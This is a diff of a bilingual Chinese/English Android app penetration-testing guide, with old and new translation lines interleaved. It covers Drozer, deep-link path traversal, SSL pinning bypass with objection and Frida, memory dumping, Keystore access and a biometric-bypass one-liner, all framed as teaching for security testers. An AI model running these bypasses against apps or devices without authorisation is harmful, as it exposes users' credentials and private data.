- [**Genymotion**](https://www.genymotion.com/fun-zone/) **免费版本Personal Edition需要创建账号。建议下载带有** _**VirtualBox**_** 的版本以避免潜在错误。)**
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
> [!TIP]
> 在任何平台创建新的模拟器时请记住,屏幕越大,模拟器运行越慢。因此如无必要请选择小屏幕。
> 创建任何平台上的新 emulator 时请记住屏幕越大emulator 运行越慢。如果可能请选择小屏幕。
要在 Genymotion 中 **安装 google services例如 Play Store**,需要点击下图中标红的按钮:
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
![](<../../images/image (277).png>)
另外,请注意在 **Genymotion 的 Android VM 配置中** 可以选择 **Bridge Network mode**(如果你会从另一个 VM 连接到该 Android VM 并使用工具,这会很有用)。
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
#### Use a physical device
你需要激活 **调试debugging** 选项,若能 **root** 设备会更好:
You need to activate the **debugging** options and it will be cool if you can **root** it:
1. **Settings**
2. (从 Android 8.0 起)选择 **System**
3. 选择 **About phone**
4. 连续按 **Build number** 7 次。
5. 返回,你会看到 **Developer options**
1. **Settings**.
2. (FromAndroid 8.0) Select **System**.
3. Select **About phone**.
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> 一旦你安装了应用,首先应该运行并探索它,了解它的功能与工作方式并熟悉它。\
> 我建议使用 MobSF dynamic analysis + pidcat 来执行这一步初始的动态分析这样我们在学习应用如何工作时MobSF 会捕获大量你可以随后审查的有价值数据。
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
Magisk/Zygisk quick notes (recommended on Pixel devices)
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
@ -297,75 +297,75 @@ Magisk/Zygisk quick notes (recommended on Pixel devices)
**Logging**
开发者应谨慎避免公开暴露 **debugging 信息**,因为这可能导致敏感数据 leak。推荐使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用日志,以识别并保护敏感信息。**Pidcat** 因其易用性和可读性而更受欢迎
开发者应谨慎避免**debugging information** 暴露出去,因为这可能导致敏感数据 leak。推荐使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用日志,以识别并保护敏感信息。**Pidcat** 因其易用性和可读性更受推崇
> [!WARNING]
> 请注意,从 **Android 4.0 之后的版本** 起,**应用只能访问自身的日志**。因此应用无法访问其他应用的日志。\
> 无论如何,仍然建议 **不要记录敏感信息**。
> 请注意,从 **later newer than Android 4.0** 开始,**applications are only able to access their own logs**。所以应用无法访问其他应用的日志。\
> 无论如何,仍建议 **not log sensitive information**。
**Copy/Paste Buffer Caching**
Android 的 **剪贴板clipboard框架** 支持应用间的复制粘贴功能,但存在风险:**其他应用** 可以访问剪贴板,可能泄露敏感数据。对应用中敏感部分(如信用卡信息)应禁用复制/粘贴功能以防止数据泄露
Android 的 **clipboard-based** 框架支持应用之间的复制粘贴功能,但存在风险,因为 **other applications** 可以 **access** 剪贴板,可能泄露敏感数据。对于应用中的敏感区域(如信用卡信息),应禁用复制/粘贴功能以防止数据 leak
**Crash Logs**
如果应用 **崩溃** 并保存了日志,这些日志会帮助攻击者,尤其是在应用无法被逆向时。为降低风险,应避免在崩溃时记录敏感信息;如果必须通过网络发送日志,确保通过 SSL 通道传输
如果应用 **crashes** 并 **saves logs**,这些日志可能帮助攻击者,尤其是在应用无法被逆向时。为降低风险,尽量避免在崩溃时记录日志;如果必须通过网络传输日志,确保使用 SSL 通道
作为 pentester**尝试查看这些日志**。
作为 pentester**try to take a look to these logs**。
**Analytics Data Sent To 3rd Parties**
应用通常集成诸如 Google Adsense 之类的服务,开发者的不当实现可能无意中导致敏感数据 leak。建议通过拦截应用流量检查是否有敏感信息发送到第三方服务。
应用通常集成类似 Google Adsense 的服务,如果实现不当,可能会不经意间泄露敏感数据。为识别潜在的数据泄露,建议 **intercept the application's traffic** 并检查是否有敏感信息被发送给第三方服务。
### SQLite DBs
大多数应用会使用 **内部 SQLite 数据库** 存储信息。在渗透测试期间,查看创建的 **数据库**、**表名** 与 **列名** 以及存储的所有 **数据** 十分重要,因为你可能会发现 **敏感信息**(这将构成漏洞)。\
大多数应用会使用 **internal SQLite databases** 来保存信息。在 pentest 过程中,检查所创建的 **databases**、**tables** 和 **columns** 的名称以及保存的所有 **data**,因为你可能会发现 **sensitive information**(这将构成漏洞)。\
数据库通常位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases`
如果数据库保存机密信息并且**加密了**,但你能在应用中**找到解密密码**,这仍然是一个 **漏洞**。
如果数据库保存机密信息**encrypted**,但你能在应用中 **find****password**,这仍然是一个 **vulnerability**。
使用 `.tables` 枚举表,使用 `.schema <table_name>` 枚举表的列。
使用 `.tables` 列出表,使用 `.schema <table_name>` 列出表的列。
### Drozer (Exploit Activities, Content Providers and Services)
来自 [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)**Drozer** 允许你 **以 Android 应用的身份行事** 并与其他应用交互。它可以执行 **已安装应用能做的任何事**,例如利用 Android 的进程间通信IPC机制并与底层操作系统交互。\
Drozer 是一个有用的工具,可用于 **利用 exported activities、exported services 和 Content Providers**,你将在下面的章节中学习到这些内容。
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Androids Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
### Exploiting exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
还要记住activity 的代码在 **`onCreate`** 方法中开始执行。
Also remember that the code of an activity starts in the **`onCreate`** method.
**Authorisation bypass**
当一个 Activity 被 exported 时,你可以从外部应用调用其界面。因此,如果一个包含 **敏感信息** 的 activity 被 **exported**,你可能会 **bypass** 认证机制并访问该界面。
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
你也可以通过 adb 启动一个 exported activity
You can also start an exported activity from adb:
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**注意**: MobSF 会检测将 _**singleTask/singleInstance**_ 作为活动的 `android:launchMode` 使用为恶意,但根据 [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)显然这仅在较旧版本API 版本 < 21上危险
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
> [!TIP]
> 注意an authorisation bypass 并不总是一个漏洞,是否构成漏洞取决于 bypass 的工作方式以及暴露了哪些信息。
> 请注意authorisation bypass 并不总是漏洞,这取决于 bypass 的工作方式以及暴露了哪些信息。
**敏感信息泄露**
**Activities 也可以返回结果**。如果你能找到一个 exported 且未受保护的 activity 调用 **`setResult`** 方法并 **返回敏感信息**,则存在敏感信息泄露。
**Activities can also return results**. 如果你能找到一个 exported 且未受保护的 activity 调用 **`setResult`** 方法并 **返回敏感信息**,则存在敏感信息泄露。
#### Tapjacking
如果未防护 tapjacking你可以滥用已导出的 activity 让 **用户执行意外操作**。更多关于 [**what is Tapjacking follow the link**](#tapjacking)。
如果没有防止 Tapjacking你可以滥用 exported activity 使用户执行意外的操作。有关 Tapjacking 的更多信息,请参见 [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers 基本上用于 **共享数据**。如果一个应用有可用的 content providers你可能能够从中 **提取敏感** 数据。也有必要测试可能的 **SQL injections****Path Traversals**,因为它们可能存在漏洞。
Content providers 基本上用于 **共享数据**。如果应用有可用的 content providers你可能能够从中 **提取敏感** 数据。也有必要测试可能的 **SQL injections****Path Traversals**,因为它们可能存在漏洞。
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
@ -374,7 +374,7 @@ Content providers 基本上用于 **共享数据**。如果一个应用有可用
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
请记住Service 的动作在方法 `onStartCommand` 中开始。
Service 基本上是能够 **接收数据**、**处理** **(可能)返回** 响应的组件。因此,如果一个应用导出了某些 services你应该 **检查****代码** 以了解其行为,并进行 **动态测试** 以提取机密信息、绕过认证措施等...\
Service 基本上是能够 **接收数据**、**处理** 它并 **返回**(或不返回)响应的东西。因此,如果应用导出了某些 services应该 **检查****代码** 来了解它在做什么,并 **动态测试** 以提取机密信息、绕过认证措施等。\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
@ -382,81 +382,81 @@ Service 基本上是能够 **接收数据**、**处理** 并 **(可能)返
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
请记住Broadcast Receiver 的动作在方法 `onReceive` 中开始。
Broadcast receiver 会等待某类消息。根据接收器处理消息的方式,它可能存在漏洞。\
Broadcast receiver 会等待某种类型的消息。取决于接收器如何处理该消息,它可能存在漏洞。\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
你可以手动查找 deep links使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 这样的脚本。\
你可以使用 **adb****浏览器** 打开声明的 **scheme**
你可以手动查找 deep links使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)。\
你可以使用 **adb****browser** 打开已声明的 **scheme**
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_注意你可以**省略包名**,移动设备会自动调用应该打开该链接的应用。_
_注意你可以 **omit the package name**,手机会自动调用应该打开该链接的 app。_
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**代码执行**
**执行的代码**
为了找到 **将在 App 中执行的代码**,前往由 deeplink 调用的 activity 并搜索函数 **`onNewIntent`**。
为了找到 **将会在 App 中执行的代码**,转到由 deeplink 调用的 activity 并搜索函数 **`onNewIntent`**。
![](<../../images/image (436) (1) (1) (1).png>)
**敏感信息**
每次发现 deep link 时,请检查 **它是否未通过 URL 参数接收敏感数据(例如密码)**,因为任何其他应用都可能 **冒充该 deep link 并窃取这些数据!**
每次发现 deep link 时,请检查 i**它是否没有通过 URL 参数 接收敏感数据(例如密码)**,因为任何其他应用都可能 **冒充 deep link 并窃取这些数据!**
**路径中的参数**
**还必须检查是否有任何 deep link 在 URL 路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下你可以通过访问类似 `example://app/users?username=../../unwanted-endpoint%3fparam=value` 的路径来强制进行路径遍历。\
注意,如果你在应用内找到正确的 endpoints你可能能够导致 **Open Redirect**(如果路径的一部分被用作域名)、**account takeover**(如果你能在没有 CSRF token 的情况下修改用户详情且 vuln endpoint 使用了正确的方法)以及其他任何漏洞。更多 [info about this here](http://dphoeniixx.com/2020/12/13-2/)。
**还必须检查是否有任何 deep link 在 URL 路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下你可以通过访问类似 `example://app/users?username=../../unwanted-endpoint%3fparam=value` 的路径来强制进行路径遍历。\
注意,如果你在应用内找到正确的 endpoints你可能能够导致 **Open Redirect**(如果路径的一部分被用作域名)、**account takeover**(如果你能在没有 CSRF token 的情况下修改用户详情,并且 vuln endpoint 使用了正确的方法)以及其他任何 vuln。更多 [info about this here](http://dphoeniixx.com/2020/12/13-2/)。
**More examples**
**更多示例**
一个关于 links_/.well-known/assetlinks.json_的 [interesting bug bounty report](https://hackerone.com/reports/855618)。
一个关于链接_/.well-known/assetlinks.json_的有趣的 bug bounty 报告:[https://hackerone.com/reports/855618](https://hackerone.com/reports/855618)。
### 传输层检查和验证失败
### 传输层检测与验证失败
- **Certificates are not always inspected properly** by Android applications。此类应用常常忽略警告并接受自签名证书,或在某些情况下回退到使用 HTTP 连接。
- **Negotiations during the SSL/TLS handshake are sometimes weak**,使用不安全的 cipher suites。这一弱点使连接容易受到 man-in-the-middle (MITM) 攻击,允许攻击者解密数据。
- **Leakage of private information** 是一种风险:当应用使用安全通道进行认证,但随后在其他事务中通过非安全通道通信时,这种做法无法保护会话 cookie 或用户详情等敏感数据,容易被恶意方拦截。
- **证书并不总是被正确检查**Android 应用常常忽略警告并接受自签名证书,或在某些情况下回退到使用 HTTP 连接。
- **SSL/TLS 握手期间的协商有时很弱**,使用不安全的 cipher suites。这会使连接容易受到 man-in-the-middle (MITM) 攻击,允许攻击者解密数据。
- **私有信息泄露** 是一种风险,当应用使用安全通道进行认证,但随后在其他事务上通过非安全通道通信时。这种做法无法保护敏感数据,例如 session cookies 或用户详情,免遭恶意实体拦截。
#### Certificate Verification
#### 证书验证
我们将重点关注 **certificate verification**。必须验证服务器证书的完整性以增强安全性。これは关键,因为不安全的 TLS 配置以及通过未加密通道传输敏感数据会带来重大风险。有关验证服务器证书和修复漏洞的详细步骤,[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) 提供了全面的指导。
我们将关注 **certificate verification**。必须验证服务器证书的完整性以增强安全性。这一点很关键,因为不安全的 TLS 配置以及在未加密通道上传输敏感数据会带来重大风险。有关验证服务器证书和修复漏洞的详细步骤,[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) 提供了全面的指导。
#### SSL Pinning
SSL Pinning 是一种安全措施,应用将服务器的证书与存储在应用内的已知副本进行核验。该方法对于防止 MITM 攻击至关重要。强烈建议对处理敏感信息的应用实施 SSL Pinning。
SSL Pinning 是一种安全措施,应用将服务器的证书与存储在应用内的已知副本进行比对。该方法对于防止 MITM 攻击至关重要。强烈建议在处理敏感信息的应用中实现 SSL Pinning。
#### Traffic Inspection
#### 流量检查
要检查 HTTP 流量,必须 **安装代理工具的证书**(例如 Burp。如果不安装该证书代理可能无法查看加密流量。有关安装自定义 CA 证书的指南,[**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
要检查 HTTP 流量,必须 **安装代理工具的证书**(例如 Burp。如果不安装该证书加密流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
针对 **API Level 24 and above** 的应用需要修改 Network Security Config 以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改 Network Security Config 的说明,请参阅 [**refer to this tutorial**](make-apk-accept-ca-certificate.md)。
针对 **API Level 24 and above** 的应用需要修改 Network Security Config 以接受代理的 CA 证书。此步骤对于检查加密流量至关重要。有关修改 Network Security Config 的说明,[**refer to this tutorial**](make-apk-accept-ca-certificate.md)。
如果使用 **Flutter**需要遵循 [**this page**](flutter.md) 中的说明。因为仅将证书添加到系统存储并不能奏效Flutter 有自己的有效 CA 列表。
如果使用 **Flutter**你需要按照 [**this page**](flutter.md) 中的说明操作这是因为仅将证书添加到系统存储并不能奏效Flutter 有自己的有效 CA 列表。
#### 静态检测 SSL/TLS pinning
在尝试运行时绕过之前,先快速映射 APK 中强制 pinning 的位置。静态发现可以帮助你规划 hooks/patches集中在正确的代码路径上。
在尝试运行时绕过之前,先快速映射 APK 中强制执行 pinning 的位置。静态发现可以帮助你规划 hooks/patches,并将注意力集中在正确的代码路径上。
Tool: SSLPinDetect
- 开源静态分析工具,将 APK 反编译为 Smali通过 apktool并扫描针对 SSL/TLS pinning 实现的精选正则模式。
- 报告每个匹配项的精确文件路径、行号和代码片段。
- 覆盖常见框架和自定义代码路径OkHttp CertificatePinner、自定义 javax.net.ssl.X509TrustManager.checkServerTrusted、使用自定义 TrustManagers/KeyManagers 的 SSLContext.init以及 Network Security Config XML 的 pins。
- 一个开源的静态分析实用工具,会将 APK 反编译为 Smali通过 apktool并扫描与 SSL/TLS pinning 实现相关的精选正则模式。
- 为每个匹配项报告精确的文件路径、行号和代码片段。
- 覆盖常见框架和自定义代码路径OkHttp CertificatePinner、custom javax.net.ssl.X509TrustManager.checkServerTrusted、使用自定义 TrustManagers/KeyManagers 的 SSLContext.init以及 Network Security Config XML 的 pins。
安装
Install
- Prereqs: Python >= 3.8, Java on PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
cd SSLPinDetect
pip install -r requirements.txt
```
使
```bash
# Basic
python sslpindetect.py -f app.apk -a apktool.jar
@ -465,7 +465,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
示例模式规则 (JSON)
使用或扩展签名以检测专有/自定义 pinning 样式。你可以加载自己的 JSON 并进行大规模扫描。
使用或扩展 signatures 来检测专有/自定义 pinning 样式。你可以加载自己的 JSON 并进行大规模扫描。
```json
{
"OkHttp Certificate Pinning": [
@ -479,43 +479,43 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
]
}
```
说明与提示
- 在大型应用上使用多线程和 memory-mapped I/O 进行快速扫描;预编译的 regex 可减少开销/误报。
注意事项与提示
- 通过多线程和内存映射 I/O 对大型应用进行快速扫描;预编译的正则可以减少开销/误报。
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- 下一步要分类的典型检测目标:
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config and manifest references
- 使用匹配到的位置来规划 Frida hooks、静态补丁或配置审查然后再进行动态测试。
- 下一步要分类整理的典型检测目标:
- OkHttp: CertificatePinner 的使用setCertificatePinnerokhttp3/okhttp 包引用
- Custom TrustManagersjavax.net.ssl.X509TrustManagercheckServerTrusted 的重写
- Custom SSL contextsSSLContext.getInstance + SSLContext.init 与自定义管理器
- 在 res/xml network security config 中的声明式 pins 以及 manifest 引用
- 用匹配到的位置来规划 Frida hooks、静态补丁或配置审查然后再进行动态测试。
#### Bypassing SSL Pinning
#### 绕过 SSL Pinning
当实现了 SSL Pinning 时,绕过它以检查 HTTPS 流量就变得必要。为此有多种可用方法:
当实现了 SSL Pinning 时,需要绕过它以检查 HTTPS 流量。为此有多种方法:
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- 自动使用 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) **修改** **apk****绕过** SSLPinning。此选项的最大优点是你不需要 root 就能绕过 SSL Pinning但你需要删除应用并重新安装新版本并且这并不总是有效。
- 你可以使用 **Frida**(下文讨论)来绕过该保护。这里有一篇使用 Burp+Frida+Genymotion 的指南:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- 你也可以尝试使用 [**objection**](frida-tutorial/objection-tutorial.md)**** 自动绕过 SSL Pinning`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- 你也可以尝试使用 **MobSF dynamic analysis**(下文说明)来**自动绕过 SSL Pinning**
- 如果你仍然认为有些流量没有被捕获,可以尝试使用 iptables **将流量转发到 burp**。阅读这篇博客:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Looking for Common Web Vulnerabilities
#### 寻找常见的 Web 漏洞
还应在应用内搜索常见的 web 漏洞。关于识别和缓解这些漏洞的详细信息超出了本摘要的范围,但在其他资料中有详尽覆盖。
同样重要的是在应用内搜索常见的 Web 漏洞。关于识别和缓解这些漏洞的详细信息超出本摘要范围,但在其他地方有详尽覆盖。
### Frida
[Frida](https://www.frida.re) is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.\
**You can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\
如果你想 pentest Android applications 你需要知道如何使用 Frida。
[Frida](https://www.frida.re) 是一个面向开发者、逆向工程师和安全研究人员的动态注入工具包。\
**你可以访问正在运行的应用并在运行时 hook 方法以更改行为、修改值、提取值、执行不同的代码...**\
如果你想 pentest Android 应用,你需要知道如何使用 Frida。
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
- 一些用于与 Frida 交互的 “GUI” [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection 非常适合自动化使用 Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- 你可以在这里找到一些 Awesome Frida 脚本: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- 尝试按照 [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) 中的说明将 Frida 作为加载项来绕过 anti-debugging / anti-frida 机制(工具 [linjector](https://github.com/erfur/linjector-rs)
#### Anti-instrumentation & SSL pinning bypass workflow
@ -527,7 +527,7 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
检查应用是否在内存中存储了不应存储的敏感信息,例如密码或助记词。
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
使用 [**Fridump3**](https://github.com/rootbsd/fridump3) 你可以转储应用的内存,命令:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -536,70 +536,68 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
这会把内存转储到 ./dump 文件夹,在那里你可以用 grep 搜索,比如
这会把内存转储到 ./dump 文件夹,你可以在里面类似这样的 grep
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Keystore 中的敏感数据**
在 Android 中Keystore 是存敏感数据的最佳位置,然而在获得足够权限的情况下仍然**可能被访问**。
在 Android 中Keystore 是存敏感数据的最佳位置,然而在获得足够权限的情况下仍然**可能被访问**。由于应用往往在此处以**明文形式存储敏感数据**pentests 应以 root user 身份检查这一点,因为具有设备物理访问权限的人可能会窃取这些数据。
由于应用往往在此处以**明文形式存储敏感数据**,因此在进行 pentests 时应以 root 用户或拥有设备物理访问权限的身份检查这一点,以防该数据被窃取
即使应用将数据存储在 Keystore 中,数据也应被加密
即使应用将数据存储在 Keystore 中,这些数据也应被加密。
要访问 Keystore 中的数据,你可以使用这个 Frida 脚本: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
要访问 Keystore 内部的数据,可以使用此 Frida 脚本: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
使用下面的 Frida 脚本,可能能够 **bypass fingerprint authentication**Android 应用可能会执行该操作以 **保护某些敏感区域:**
使用下面的 Frida 脚本,可能可以 **bypass fingerprint authentication**Android 应用可能会执行该认证以 **保护某些敏感区域:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **后台图像**
当你将应用置于后台时Android 会存储**应用的快照**,因此当它恢复到前台时,会先加载该图像,使应用看起来启动更快。
当你将应用置于后台时Android 会存储一个 **应用的快照**,因此当它恢复到前台时,会先加载该图像,使应用看起来启动更快。
然而,如果该快照包含 **敏感信息**,有权限访问该快照的人可能会 **窃取这些信息**(注意访问需要 root)。
但是,如果该快照包含 **敏感信息**,有权访问快照的人可能会 **窃取该信息**(注意你需要 root 才能访问它)。
这些快照通常存储在: **`/data/system_ce/0/snapshots`**
快照通常存储在: **`/data/system_ce/0/snapshots`**
Android 提供了一种方法,可以通过将布局参数设置为 **FLAG_SECURE 来防止截图**。使用该 flag 后,窗口内容将被视为受保护,从而防止出现在截图中或在非安全显示设备上被查看。
Android 提供了一种通过设置 FLAG_SECURE 布局参数来 **防止截图被捕获** 的方式。使用此标志后,窗口内容会被视为受保护,防止其出现在截图中或在非安全显示设备上被查看。
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
工具可以在动态分析期间帮助你管理不同的工具: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
工具可以在动态分析期间帮助你管理不同的工具: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
开发者常创建代理组件(例如 activities、services 和 broadcast receivers来处理这些 Intents并将它们传递给诸如 `startActivity(...)``sendBroadcast(...)` 之类的方法,这可能很危险。
开发者常创建代理组件(例如 activities、services 和 broadcast receivers来处理这些 Intents并将它们传递给诸如 `startActivity(...)``sendBroadcast(...)` 之类的方法,这可能存在风险。
危险在于攻击者可通过误导这些 Intents 来触发非 exported 的应用组件或访问敏感的 content providers。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象并执行它们,可能导致恶意的 Intent 注入。
危险在于允许攻击者通过错误引导这些 Intents 来触发非导出的应用组件或访问敏感的 content providers。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象然后执行它们,这可能导致恶意 Intent 注入。
### 重要要点
### 关键要点
- **Intent Injection** 类似于 web 的 Open Redirect 问题。
- 利用方式包括将 `Intent` 对象作为 extras 传递,这些 Intent 可能被重定向以执行不安全的操作。
- 它可能会将非导出的组件和 content providers 暴露给攻击者。
- `WebView` 将 URL 转换为 `Intent` 的行为可能促成意外的操作
- **Intent Injection** 类似于 web 的 Open Redirect 问题。
- 利用方式通常是将 `Intent` 对象作为 extras 传递,这些 Intent 可以被重定向以执行不安全的操作。
- 它可能使非导出组件和 content providers 暴露给攻击者。
- `WebView` 的 URL 到 `Intent` 的转换可能促成意外的行为
### Android Client Side Injections and others
### Android 客户端注入及其他
这些漏洞你可能在 Web 上已经见过。在 Android 应用中需要特别注意这些漏洞
你可能在 Web 上已经见过这类漏洞。在 Android 应用中需要特别注意以下漏洞类型
- **SQL Injection:** 在处理动态查询或 Content-Providers 时,确保使用参数化查询。
- **JavaScript Injection (XSS):** 确认对任意 WebViews 已禁用 JavaScript 和 Plugin 支持(默认禁用)。 [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** 应禁用 WebViews 对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)` [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**:在若干情况下,当 android 应用结束会话时,cookie 未被撤销,甚至可能被保存到磁盘
